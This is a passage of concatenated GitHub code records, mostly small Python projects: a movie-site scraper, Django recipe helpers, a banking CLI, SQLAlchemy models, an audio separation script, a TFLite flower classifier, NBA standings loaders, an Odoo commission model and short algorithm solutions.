\"\"\"\n return cls.read_all(key_word)[:num]\n\n @classmethod\n def read_all(cls, key_word):\n \"\"\"\n\n :param key_word:\n :return: list(dict)\n \"\"\"\n search = MovieHeavenSearch()\n res = search.search(key_word)\n DownloadCache.write_all(res)\n return res\n\n\nclass MovieHeavenDownloader(HtmlDownloader):\n pass\n\n\nclass MovieHeavenParser(HtmlParser):\n\n base_url = get_config(\"movie_heaven.base\")\n\n def parse_pages(self, html):\n soup = bs(html, \"html.parser\")\n # FIXME 这里解析不同page 有问题\n raw_results = soup.find('div', class_=\"co_content8\").find('table', cellpadding=\"0\")\n if raw_results:\n data = []\n results = raw_results.find_all('a')\n for result in results:\n try:\n page = int(result.get_text()[1:-1])\n url = self.base_url + result['href']\n data.append((page, url))\n except Exception as e:\n logger.exception(e)\n break\n return data\n else:\n return\n\n def parse_page_results(self, html):\n soup = bs(html, \"html.parser\")\n results = soup.find_all('div', class_=\"co_content8\")[0].find_all('div', id=\"Zoom\")[0].find_all('table')\n result_url = []\n for result in results:\n result_url.append(result.find('a')['href'])\n return result_url\n\n def parse_search_results(self, html):\n soup = bs(html, \"html.parser\")\n results = soup.find_all('div', class_=\"co_content8\")[0].find_all('table', width=\"100%\")\n data = []\n for ele in results:\n item = ele.find('a')\n url = self.base_url + item['href']\n name = item.get_text()\n data.append((name, url))\n return data\n\n\nclass MovieHeavenSearch(Search):\n\n def __init__(self):\n self.search_url = get_config(\"movie_heaven.search\")\n self.downloader = MovieHeavenDownloader()\n self.parser = MovieHeavenParser()\n self.decoding = \"gbk\"\n\n def _encode(self, name):\n return \"%\" + '%'.join([x.upper() for x in str(name.encode(\"GB2312\")).split(r'\\x')[1:]])[:-1]\n\n def search(self, name):\n search_url = self.search_url + self._encode(name)\n results = self.downloader.get(search_url, decoding=self.decoding)\n if not results:\n logger.error(\"Getting url: {} page failed\".format(search_url))\n return []\n page_urls = self.parser.parse_pages(results)\n data = []\n page_data = self.parser.parse_search_results(results)\n data.extend(page_data)\n if page_urls:\n for page, url in page_urls:\n time.sleep(1)\n logger.info(\"Getting page: {}, url: {} data\".format(page, url))\n try:\n results = self.downloader.get(url, decoding=self.decoding)\n if not results:\n logger.error(\"Getting url page failed\")\n continue\n page_data = self.parser.parse_search_results(results)\n data.extend(page_data)\n except:\n logger.error(\"Parse page content failed\")\n res = []\n for item in data:\n name, url = item\n time.sleep(1)\n logger.info(\"Getting item: {}, url: {} data\".format(name, url))\n try:\n results = self.downloader.get(url, decoding=self.decoding)\n if not results:\n logger.error(\"Getting url page failed\")\n continue\n result_urls = self.parser.parse_page_results(results)\n res.append({\n \"name\": name,\n \"page_link\": url,\n \"download_urls\": result_urls\n })\n except:\n logger.error(\"Parse page content failed\")\n return res\n","repo_name":"Microndgt/rfdmovies-client","sub_path":"rfdmovie/apis/movie_heaven.py","file_name":"movie_heaven.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"3"} +{"seq_id":"6765030458","text":"from django.db import transaction\nfrom django.shortcuts import get_object_or_404\n\nfrom apps.recipes.models import Ingredient, RecipeIngredient\n\n\ndef save_recipe(request, form):\n with transaction.atomic():\n recipe = form.save(commit=False)\n recipe.author = request.user\n recipe.save()\n\n objs = []\n ingredients = form.clean_ingredients()\n\n for name, count in ingredients.items():\n ingredient = get_object_or_404(Ingredient, title=name)\n objs.append(\n RecipeIngredient(\n recipe=recipe, ingredient=ingredient, count=count\n )\n )\n\n RecipeIngredient.objects.bulk_create(objs)\n recipe.tags.set(form.clean_tags())\n form.save_m2m()\n return recipe\n\n\ndef update_recipe(request, form):\n instance = form.instance\n with transaction.atomic():\n RecipeIngredient.objects.filter(recipe=instance).delete()\n return save_recipe(request, form)\n","repo_name":"kintolayli/recipe_live_here","sub_path":"apps/recipes/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13988474089","text":"from utils import input_option\nfrom request_system import Request\nfrom rich import print\n\nclass Bill:\n\n\tdef __init__(self, auth_system):\n\t\tself.auth_system = auth_system\n\t\n\tdef run(self):\n\t\twhile True:\n\t\t\tindex = input_option(\n\t\t\t\t\"What do you want to do ?\",\n\t\t\t\t[\n\t\t\t\t\t\"See my subscriptions\",\n\t\t\t\t\t\"See my documents\",\n\t\t\t\t\t\"Back\",\n\t\t\t\t],\n\t\t\t)\n\t\t\tif index == 0:\n\t\t\t\tself.get_subscriptions()\n\t\t\telif index == 1:\n\t\t\t\tself.get_documents()\n\t\t\telif index == 2:\n\t\t\t\treturn\n\n\tdef get_subscriptions(self):\n\t\tres = Request(\n\t\t\t\"get\",\n\t\t\tf\"/users/{self.auth_system.user['id']}/subscriptions?all\",\n\t\t\tself.auth_system.init_request_header(),\n\t\t).call()\n\t\t# auto enable each subscription, not good for a real application\n\t\tfor subscription in res[\"subscriptions\"]:\n\t\t\tres = Request(\n\t\t\t\t\"put\",\n\t\t\t\tf\"/users/{self.auth_system.user['id']}/subscriptions/{subscription['id']}?all\",\n\t\t\t\tself.auth_system.init_request_header(),\n\t\t\t\t{\"disabled\": False},\n\t\t\t).call()\n\t\t\tprint(subscription[\"label\"], \"(\", subscription[\"subscriber\"], \")\")\n\n\tdef get_documents(self):\n\t\tres = Request(\n\t\t\t\"get\",\n\t\t\tf\"/users/{self.auth_system.user['id']}/documents?all\",\n\t\t\tself.auth_system.init_request_header(),\n\t\t).call()\n\t\tfor document in res[\"documents\"]:\n\t\t\tprint(document[\"name\"], \"(\", document[\"url\"], \")\")\n\n","repo_name":"Alikae/BudgetInsightCLI","sub_path":"bill.py","file_name":"bill.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38579671222","text":"from sqlalchemy import ForeignKey, Column, String, INTEGER, DateTime, Float, TEXT\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy import create_engine\nfrom datetime import datetime\nimport bcrypt, re\n\nBase = declarative_base()\n\nclass Register(Base):\n __tablename__ = 'register'\n\n user_name = Column(String, primary_key=True)\n roll_no = Column(INTEGER, unique=True)\n first_name = Column(String, nullable=False)\n last_name = Column(String)\n college = Column(String, nullable=False)\n email = Column(String, unique=True)\n password = Column(String(60), nullable=False)\n\n def __init__(self, user_name, roll_no, first_name, last_name, college, email, password):\n\n salt = bcrypt.gensalt()\n hashed_pw = bcrypt.hashpw(password, salt)\n\n self.user_name = user_name\n self.roll_no = roll_no\n self.first_name = first_name\n self.last_name = last_name\n self.college = college\n self.email = email\n self.password = hashed_pw\n\n def valid_email(email):\n if not re.match(\"^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\\.[a-zA-Z0-9-]+)*$\", email):\n return False\n return True\n\nclass Profile(Base):\n __tablename__ = 'profile'\n\n uid = Column(INTEGER, autoincrement=True, primary_key=True)\n user_name = Column(String, ForeignKey('register.user_name'))\n register = relationship('Register')\n city = Column(String)\n CTE = Column(INTEGER, default=0)\n TLE = Column(INTEGER, default=0)\n SIGSEGV = Column(INTEGER, default=0)\n WA = Column(INTEGER, default=0)\n Correct_Answer = Column(INTEGER, default=0)\n\n def __init__(self, user_name, city, CTE=0, TLE=0, SIGSEGV=0, WA=0, Correct_Answer=0):\n self.user_name = user_name\n self.city = city\n self.CTE = CTE\n self.TLE = TLE\n self.SIGSEGV = SIGSEGV\n self.WA = WA\n self.Correct_Answer = Correct_Answer\n\nclass Problem(Base):\n __tablename__ = 'problem'\n\n problem_id = Column(String, primary_key=True)\n problem_name = Column(String, unique=True)\n difficulty = Column(String, nullable=False)\n content = Column(TEXT, nullable=False)\n total_submissions = Column(INTEGER, default=0)\n correct_submissions = Column(INTEGER, default=0)\n tags = Column(String, nullable=False)\n\n def __init__(self, problem_id, problem_name, difficulty, content, tags):\n self.problem_id = problem_id\n self.problem_name = problem_name\n self.difficulty = difficulty\n self.content = content\n self.tags = tags\n self.total_submissions = 0\n self.correct_submissions = 0\n\nclass Submission(Base):\n __tablename__ = 'submission'\n\n submission_no = Column(INTEGER, autoincrement=True, primary_key=True)\n user_name = Column(String, ForeignKey('register.user_name'))\n register = relationship(Register)\n problem_id = Column(String, ForeignKey('problem.problem_id'))\n problem = relationship(Problem)\n status = Column(String, nullable=False)\n submission_time = Column(DateTime, nullable=False, default=datetime.now())\n memory_used = (Float)\n\n def __init__(self, user_name, problem_id, status):\n self.user_name = user_name\n self.problem_id = problem_id\n self.status = status\n\nengine = create_engine('sqlite:///tuoj.db')\nBase.metadata.create_all(engine)\n","repo_name":"vishalsahu5/TUOJ","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10106494660","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"visens\",\n version=\"0.1.7\",\n author=\"Neil Vaytet\",\n author_email=\"neil.vaytet@esss.se\",\n description=\"VISualization for Ess Neutron Science\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/nvaytet/visens\",\n packages=setuptools.find_packages(\"src\"),\n package_dir={\"\": \"src\"},\n classifiers=[\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=[\n \"matplotlib\",\n \"numpy\",\n \"h5py\",\n ],\n)\n","repo_name":"nvaytet/visens","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"8383651959","text":"# from db.init_db import init_db\nfrom db.session import SessionLocal\nfrom src.core.logger import LOG\n\n\ndef init() -> None:\n db = SessionLocal()\n # init_db(db)\n\n\ndef main() -> None:\n LOG.info(\"Creating initial data\")\n init()\n LOG.info(\"Initial data created\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bernatixer/stylizer","sub_path":"core-service/scripts/initial_data.py","file_name":"initial_data.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41539316898","text":"#! /usr/bin/env python\n#-*- coding: utf-8 -*-\n\n\"\"\" m4aファイルをwavファイルに変換 \"\"\"\n\nimport os\nimport sys\nimport librosa\n\n# path\nHARMONIC_PATH = '../../harmonic/' # path to 'harmonic' directory\nPERCUSSIVE_PATH = '../../percussive/' # path to 'percussive' directory\n\n# constant value\nSAMPLING_RATE = 44100 # Hz\n\n\ndef harmonic_percussive(wav_index_path, harmonic_index_path, percussive_index_path, wavfile):\n \"\"\" separate into harmonic & percussive components \"\"\"\n\n base, ext = os.path.splitext(wavfile)\n if ext == '.wav':\n input_path = os.path.join(wav_index_path, wavfile)\n output_path_harmonic = os.path.join(harmonic_index_path, wavfile)\n output_path_percussive = os.path.join(percussive_index_path, wavfile)\n\n print('Separating ' + input_path)\n\n # read a wav file\n y, sr = librosa.load(input_path, sr=SAMPLING_RATE)\n\n # separate to harmonic and percussive components\n y_harmonic, y_percussive = librosa.effects.hpss(y)\n\n # save to wav files\n librosa.output.write_wav(output_path_harmonic, y_harmonic,\n SAMPLING_RATE, norm=True)\n librosa.output.write_wav(output_path_percussive, y_percussive,\n SAMPLING_RATE, norm=True)\n\n else:\n print('Error: Not wav file!')\n sys.exit(1)\n\n\ndef main_hpss(wavfile_path):\n # ├ wav\n # │ ├── 1000 (index)\n # │ ├── 1001\n # │ │   └── *.wav\n # │ │ :\n # │ │ :\n # │ └── 1087\n # │\n # └ harmonic, percussive\n # ├── 1000 (index)\n # ├── 1001\n # │   └── *.wav\n # │ :\n # │ :\n # └── 1087\n\n # relative path\n wav_index_path, wavfile = os.path.split(wavfile_path)\n dir_index = os.path.basename(wav_index_path)\n harmonic_index_path = os.path.join(HARMONIC_PATH, dir_index)\n percussive_index_path = os.path.join(PERCUSSIVE_PATH, dir_index)\n\n # separate to harmonic & percussive components\n harmonic_percussive(wav_index_path, harmonic_index_path,\n percussive_index_path, wavfile)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print('Specify file.')\n sys.exit(1)\n\n main_hpss(sys.argv[1])\n","repo_name":"hirofumi0810/music_recommendation","sub_path":"src/converter/converter_perfile.py","file_name":"converter_perfile.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42268180549","text":"# !pip install -q tflite-model-maker\r\nimport os\r\n\r\nimport numpy as np\r\n\r\nimport tensorflow as tf\r\nassert tf.__version__.startswith('2')\r\n\r\nfrom tflite_model_maker import model_spec\r\nfrom tflite_model_maker import image_classifier\r\n# from tflite_model_maker.config import ExportFormat\r\n# from tflite_model_maker.config import QuantizationConfig\r\nfrom tflite_model_maker.image_classifier import DataLoader\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n# Tai du lieu\r\nimage_path = tf.keras.utils.get_file(\r\n 'flower_photos.tgz',\r\n 'https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz',\r\n extract=True)\r\nimage_path = os.path.join(os.path.dirname(image_path), 'flower_photos')\r\n\r\n# load du lieu tu thu muc ( JEPG,PNG dc sp)\r\ndata = DataLoader.from_folder(image_path)\r\n\r\n# chia du lieu thanh cac tap train,test,val\r\ntrain_data, rest_data = data.split(0.8)\r\nvalidation_data, test_data = rest_data.split(0.5)\r\n\r\n# Hiển thị 25 ví dụ hình ảnh với nhãn\r\nplt.figure(figsize=(10,10))\r\nfor i, (image, label) in enumerate(data.gen_dataset().unbatch().take(25)):\r\n plt.subplot(5,5,i+1)\r\n plt.xticks([])\r\n plt.yticks([])\r\n plt.grid(False)\r\n plt.imshow(image.numpy(), cmap=plt.cm.gray)\r\n plt.xlabel(data.index_to_label[label.numpy()])\r\nplt.show()\r\n\r\n# Tuy chinh mô hình Tensorflow : Mặc định là EfficientNet-Lite0.\r\nmodel = image_classifier.create(train_data, validation_data = validation_data)\r\n# Library TFlite_model_marker chỉ hỗ trợ EfficientNet-Lite, MobileNetV2, ResNet50 : nếu muốn dùng model khác:\r\n# model = image_classifier.create(train_data, model_spec=model_spec.get('mobilenet_v2'), validation_data=validation_data)\r\n# Nếu muốn dùng model khác model 3 model trên cần khai báo và thay model_spec = inception_v3_spec\r\n# inception_v3_spec = image_classifier.ModelSpec(uri='https://tfhub.dev/google/imagenet/inception_v3/feature_vector/1')\r\n# inception_v3_spec.input_image_shape = [299, 299]\r\n\r\n# change values in function CREATE:\r\n'''tflite_model_maker.image_classifier.create(\r\n train_data, model_spec='efficientnet_lite0', validation_data=None,\r\n batch_size=None, epochs=None, steps_per_epoch=None, train_whole_model=None,\r\n dropout_rate=None, learning_rate=None, momentum=None, shuffle=False,\r\n use_augmentation=False, use_hub_library=True, warmup_steps=None, model_dir=None,\r\n do_train=True\r\n)'''\r\n\r\n# xem cấu trúc của mô hình\r\nmodel.summary()\r\n\r\n# đánh giá mô hình trên dữ liệu từ tệp test\r\nloss, accuracy = model.evaluate(test_data)\r\n\r\n# Dự đoán và hiển thị kết quả của 100 ảnh thử nghiệm\r\n# A helper function that returns 'red'/'black' depending on if its two input\r\n# parameter matches or not.\r\ndef get_label_color(val1, val2):\r\n if val1 == val2:\r\n return 'black'\r\n else:\r\n return 'red'\r\n\r\n# Then plot 100 test images and their predicted labels.\r\n# If a prediction result is different from the label provided label in \"test\"\r\n# dataset, we will highlight it in red color.\r\nplt.figure(figsize=(20, 20))\r\npredicts = model.predict_top_k(test_data)\r\nfor i, (image, label) in enumerate(test_data.gen_dataset().unbatch().take(100)):\r\n ax = plt.subplot(10, 10, i+1)\r\n plt.xticks([])\r\n plt.yticks([])\r\n plt.grid(False)\r\n plt.imshow(image.numpy(), cmap=plt.cm.gray)\r\n\r\n predict_label = predicts[i][0][0]\r\n color = get_label_color(predict_label,\r\n test_data.index_to_label[label.numpy()])\r\n ax.xaxis.label.set_color(color)\r\n plt.xlabel('Predicted: %s' % predict_label)\r\nplt.show()\r\n\r\n# Xuất sang mô hình Tensorflow lite.\r\nmodel.export(export_dir='.')","repo_name":"LongCao-HUST/Recogine-Flower-on-Androi-Studio","sub_path":"TFlite_Model_Marker/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3636,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43798346613","text":"# 11497 통나무 건너뛰기\r\n# 32276 KB / 276 ms \r\n# 기본 코드\r\nimport sys\r\nsys.stdin = open(\"input.txt\", \"r\")\r\ninput = sys.stdin.readline\r\n\r\nT = int(input())\r\nfor t in range(T):\r\n log = int(input())\r\n log_nums = list(map(int,input().split()))\r\n sort_log_nums = sorted(log_nums,reverse=True)\r\n\r\n new_logs = [0]*log\r\n # 홀수일 때\r\n if log % 2 != 0 :\r\n idx = 0 \r\n for i in range(log):\r\n llog = sort_log_nums[i] # 9 7 5\r\n if i % 2 != 0 :\r\n idx += 1 # 1 \r\n idx = idx*(-1)\r\n elif i > 0 and i % 2 == 0 :\r\n idx = idx*(-1)\r\n new_logs[(log//2) - idx] = llog \r\n # 짝수일 때 \r\n else : \r\n for j in range(log//2):\r\n # 0 1 2 3\r\n new_logs[(log//2) + j] = sort_log_nums[(j*2)+1]\r\n for jj in range(log//2):\r\n # 0 1 2 3\r\n new_logs[((log//2)-1) - jj] = sort_log_nums[jj*2]\r\n\r\n diff_log = []\r\n # 최대 차이 구하기\r\n for p in range(1,log):\r\n diff_log.append(abs(new_logs[p-1]-new_logs[p]))\r\n\r\n print(max(diff_log))","repo_name":"KDT-02-Algorithm-Study/Algorithm-Study","sub_path":"week09_230309/11497_통나무_건너뛰기/11497_이수빈.py","file_name":"11497_이수빈.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"32066110673","text":"# Criado por: Juan Santos Trigo Nasser\r\n# Versão: 1.0\r\n# Data 14/08/2023\r\n\r\n# imports\r\nimport pyautogui as bot\r\nimport time\r\n\r\n# definir variaveis\r\nabrir_peruibetur = True\r\ni = 0\r\n\r\n\r\n# para exportar para exe: pyinstaller --noconfirm --onefile --console bot.py \r\nbot.FAILSAFE = True\r\nbot.PAUSE = 1\r\nprint(\"INFO: Para forçar parada, pouse o mouse no canto superior esquerdo do monitor\")\r\nprint(\"ALERTA: Iniciando automatização em 2 segundos, não mova o mouse\")\r\ntime.sleep(2)\r\nprint(\"ALERTA: Automatização iniciada!\")\r\n\r\n# colocar comandos a partir daqui\r\n# entrando no site peruibetur\r\nif abrir_peruibetur == True:\r\n bot.hotkey(\"win\", \"r\")\r\n bot.write(\"https://peruibetur.com.br/\")\r\n bot.press(\"enter\")\r\n time.sleep(10)\r\n bot.PAUSE = 0.3\r\n while i < 4:\r\n bot.press(\"tab\")\r\n i +=1\r\n i = 0\r\n bot.press(\"enter\")\r\n time.sleep(10)\r\n while i < 4:\r\n bot.press(\"tab\")\r\n i +=1\r\n i = 0\r\n bot.press(\"enter\")\r\n time.sleep(10)\r\nelse:\r\n print(\"ALERTA: Abra o chrome em 5 segundos!\")\r\n time.sleep(5)\r\n\r\n","repo_name":"comeraperuibe944/Peruibe-Tur-IA","sub_path":"tur.py","file_name":"tur.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72932881682","text":"import pandas as pd\r\nfrom tensorflow.keras.preprocessing.text import Tokenizer\r\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\r\nimport pickle\r\n\r\nclass PrepareData:\r\n \"\"\"\r\n Take preprocessed text and convert it to data that is ready for training\r\n\r\n data_path_train: InitialPreprocessed Data for training\r\n data_path_test: InitialPreprocessed Data for testing\r\n\r\n Written By-Kanish Shandilya\r\n \"\"\"\r\n def __init__(self,data_path_train,data_path_test,read_jsonobj):\r\n self.data_path_train=data_path_train\r\n self.data_path_test=data_path_test\r\n self.read_jsonobj=read_jsonobj\r\n \r\n def prepareData(self,vocab_size=70000,max_length=80,trunc_type=\"post\",oov_tok=\"\"):\r\n \"\"\"\r\n vocab_size: What is the vocabulary size\r\n max_length: max_length of sentences allowed\r\n \"\"\"\r\n\r\n tokenizer_obj_path=self.read_jsonobj.read_attribute(\"tokenizer_obj_path\")\r\n\r\n print(\"Reading train data from {}\".format(self.data_path_train))\r\n train_df=pd.read_csv(self.data_path_train)\r\n print(\"Reading test data from {}\".format(self.data_path_test))\r\n test_df=pd.read_csv(self.data_path_test)\r\n print(\"Coverting data to list\")\r\n list_train=list(train_df[\"transformed_text\"])\r\n list_test=list(test_df[\"transformed_text\"])\r\n print(\"Tokenizing given sentences\")\r\n tokenizer=Tokenizer(num_words=vocab_size,oov_token=oov_tok)\r\n tokenizer.fit_on_texts(list_train)\r\n print(\"Saving tokenizer objects\")\r\n self.save_tokenizer(tokenizer,tokenizer_obj_path)\r\n train_seq=tokenizer.texts_to_sequences(list_train)\r\n train_padded_seq=pad_sequences(train_seq,maxlen=max_length,truncating=trunc_type)\r\n\r\n test_seq=tokenizer.texts_to_sequences(list_test)\r\n test_padded_seq=pad_sequences(test_seq,maxlen=max_length,truncating=trunc_type)\r\n print(\"Text transformation completed returning output\")\r\n return (train_padded_seq,test_padded_seq)\r\n \r\n def load_tokenizer(self,path):\r\n \"\"\"\r\n Load tokenizer from file path\r\n\r\n path:Where to load file from\r\n \"\"\"\r\n with open(path, 'rb') as handle:\r\n tokenizer = pickle.load(handle)\r\n return tokenizer\r\n \r\n\r\n def save_tokenizer(self,tokenizer,path):\r\n \"\"\"\r\n Save tokenizer to given file path\r\n\r\n tokenizer: obj to save\r\n path: where to save\r\n \"\"\"\r\n with open(path, 'wb') as handle:\r\n pickle.dump(tokenizer, handle, protocol=pickle.HIGHEST_PROTOCOL)\r\n\r\n","repo_name":"KanishShandilya/SentimentAnalysis","sub_path":"src/prepare_data_tf.py","file_name":"prepare_data_tf.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22709279320","text":"#!/usr/bin/python3\n\"\"\"Define rotate_2d_matrix func\"\"\"\n\n\ndef rotate_2d_matrix(matrix):\n \"\"\"Return: 2D matrix rotate by 90 degree\"\"\"\n N = len(matrix[0])\n for i in range(N):\n for j in range(i, N):\n matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]\n for i in range(N):\n matrix[i].reverse()\n","repo_name":"haffs0/alx-interview","sub_path":"0x07-rotate_2d_matrix/0-rotate_2d_matrix.py","file_name":"0-rotate_2d_matrix.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8074062474","text":"# Head\nfrom random import randint\nfrom time import sleep\nfrom Utilidades import linha\nvmx = cmx = 0\n# Data gathering and Error check loop\nwhile True:\n try:\n vmx = int(input('Velocidade máxima do navio[Km]: '))\n except ValueError:\n print('\\033[4;31mERRO! Informe um valor inteiro valido!\\033[m')\n continue\n else:\n break\nwhile True:\n try:\n while True:\n cmx = float(input('Carga máxima do navio [1000 t a 3000 t]: '))\n if cmx < 1000 or cmx > 3000:\n print('\\033[4;31mERRO! Informe um peso entre 1000 t a 3000 t\\033[m')\n continue\n else:\n break\n except ValueError:\n print('\\033[4;31mERRO! Informe um valor real valido!\\033[m')\n continue\n else:\n break\nlinha()\nprint('Calculando...')\nsleep(1.5)\n# Main Process\nnav = (vmx, cmx)\nconts = list()\nwhile len(conts) < 50:\n if sum(conts) <= cmx:\n conteiner = randint(1, 100)\n conts.append(conteiner)\n else:\n break\nif sum(conts) > cmx:\n conts.pop()\nv_20 = vmx - (vmx * 0.20)\nv_atual = vmx - (sum(conts) * 0.01)\n# Second Process\nlinha()\nprint(f\"\"\"Quantidade atual de conteiners: {len(conts)}\nPeso total atual: {sum(conts)}\"\"\")\nprint(f\"\"\"A velocidade atual do navio é de: {v_atual:.2f}Km/h\nO tempo estimado para a viagem até Recife é de: {5840.85/v_atual:.2f}Hrs\"\"\")\nlinha()\n# Third Process (Opcional)\nwhile True:\n if v_atual <= v_20:\n print(\"\"\"\\033[4;31mA velocidade atual está abaixo dos 20% da velocidade máxima do navio, o conteiner mais \npesado irá ser retirado...\\033[m\"\"\")\n print('Recalculando...')\n sleep(2)\n linha()\n conts.remove(max(conts))\n v_20 = vmx - (vmx * 0.20)\n v_atual = vmx - (sum(conts) * 0.01)\n print(f\"\"\"Quantidade atual de containers: {len(conts)}\nPeso total atual: {sum(conts)}\"\"\")\n print(f\"\"\"A velocidade atual do navio é de: {v_atual:.2f}Km/h\nO tempo estimado para a viagem até Recife é de: {5840.85 / v_atual:.2f}Hrs\"\"\")\n linha()\n else:\n break\nprint('<< Programa encerrado! >>')\n","repo_name":"CondeArmand/Projetos-no-Pycharm","sub_path":"Curso de ADS/Atividades do JP/Questão 5.py","file_name":"Questão 5.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73845127440","text":"from data import *\n\n\ndef all_standings_data():\n \"\"\" set up iterations to get all data \"\"\"\n iterations = list(range(len(season_range)))\n for iteration in iterations:\n get_season_data(iteration)\n\n\ndef get_season_data(iteration: int):\n \"\"\" get data for the season \"\"\"\n iteration_start_time = time.time()\n\n season = season_range[iteration]\n\n generate_standings_json(season)\n standings = get_standings(standings_generator.response, season)\n\n status = write_data(engine, metadata, connection, standings, TARGET_TABLE, TABLE_PRIMARY_KEY)\n\n progress(iteration=iteration,\n iterations=len(season_range),\n iteration_name='Season ' + str(season_range[iteration]),\n lapsed=time_lapsed(),\n sql_status=status)\n\n # sleep to avoid hitting rate limit on requests\n sleep_time = get_sleep_time(iteration_start_time, 1)\n\n time.sleep(sleep_time)\n\n\ndef generate_standings_json(season: int):\n \"\"\" get the standings for a given season \"\"\"\n parameters_season = get_request_parameters(season)\n standings_generator.send_request(parameters_season)\n\n\ndef get_request_parameters(season: int):\n \"\"\" generate the parameters for the request \"\"\"\n output = {'LeagueID': '00',\n 'Season': season - 1,\n 'SeasonType': 'Regular Season'}\n\n return output\n\n\ndef get_standings(json, season: int):\n \"\"\" create standings \"\"\"\n data = json['resultSets'][0]\n columns = data['headers']\n rows = data['rowSet']\n\n standings_data = [get_standings_data(dict(zip(columns, team)), season) for team in rows]\n\n output = check_db_duplicates(standings_data, False, 'team_season_id', TARGET_TABLE, TABLE_PRIMARY_KEY,\n metadata, engine, connection)\n\n return output\n\n\ndef get_standings_data(team_dict: dict, season: int):\n \"\"\" take team/season dict and output cleaned dict \"\"\"\n output = {'team_season_id': team_dict['TeamID'] + season * 10000000000,\n 'season': season,\n 'team_id': team_dict['TeamID'],\n 'wins': team_dict['WINS'],\n 'losses': team_dict['LOSSES'],\n 'playoff_seed': team_dict['PlayoffRank'],\n 'league_rank': team_dict['LeagueRank']}\n\n return output\n\n\nif __name__ == '__main__':\n engine, metadata, connection = get_connection(os.environ['MYSQL_DATABASE'])\n create_table_standings(metadata)\n\n TARGET_TABLE = 'standings'\n TABLE_PRIMARY_KEY = 'team_season_id'\n QUERY_PATH = f'{ROOT_PATH}/queries/data/{TARGET_TABLE}/'\n\n standings_generator = NBAEndpoint(endpoint='leaguestandingsv3')\n\n season_range = pd.Series(range(START_SEASON, END_SEASON + 1))\n\n all_standings_data()\n\n query = get_query(QUERY_PATH, 'fix_seeds', 'sql')\n connection.execute(query)\n connection.execute('COMMIT')\n\n sys.stdout.write('\\n')\n\n print(Colour.green + f'Table {TARGET_TABLE} loaded' + ' ' + str('{0:.2f}'.format(time.time() - start_time))\n + ' seconds taken' + Colour.end)\n","repo_name":"filipmilanovic/nba_database","sub_path":"data/endpoint/standings.py","file_name":"standings.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42749050240","text":"# -*- coding: utf-8 -*-\n#from openerp import models, fields, api\nfrom odoo import models, fields, api\n\n \nclass ProductCategory(models.Model):\n _inherit = \"product.category\"\n\n @api.depends()\n def _compute_is_apply(self):\n commission_based_on = self.env.company.commission_based_on\n for rec in self:\n rec.is_apply = False\n if commission_based_on == 'product_category':\n rec.is_apply = True\n\n commission_type = fields.Selection(\n string=\"Commission Amount Type\",\n selection=[\n ('percentage', 'By Percentage'),\n ('fix', 'Fixed Amount'),\n ],\n )\n is_apply = fields.Boolean(\n string='Is Apply ?',\n compute='_compute_is_apply'\n )\n commission_range_ids = fields.One2many(\n 'sales.commission.range',\n 'commission_category_id',\n string='Sales Commission Range Category',\n )\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","repo_name":"musaab123/backup_repo","sub_path":"real_estate_commission/models/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22446436644","text":"\"\"\"create inital tablesss\n\nRevision ID: e8cd19d36e98\nRevises: 9d7cc64c2003\nCreate Date: 2023-06-13 21:10:44.704797\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by 